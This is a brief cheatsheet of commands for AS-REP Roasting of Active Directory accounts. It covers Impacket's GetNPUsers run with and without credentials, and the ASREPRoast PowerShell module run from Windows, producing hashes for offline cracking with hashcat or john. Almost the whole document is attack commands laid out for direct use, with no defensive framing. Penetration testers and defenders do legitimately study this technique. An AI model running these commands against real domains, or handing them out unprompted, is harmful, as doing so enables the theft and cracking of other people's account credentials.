AS-REP Roasting

Cheatsheet with commands for performing AS-REP Roasting from the outside and inside.

From Linux:

Using Impacket:

impacket-GetNPUsers <domain_name>/<domain_user>:<domain_user_password> -request -format <hashcat/john> -outputfile <output>

or without credentials:

impacket-GetNPUsers domain.local/ -no-pass -usersfile users.txt

---

From Windows:

Using ASREPRoast:

Import-Module .\ASREPRoast.ps1

Invoke-ASREPRoast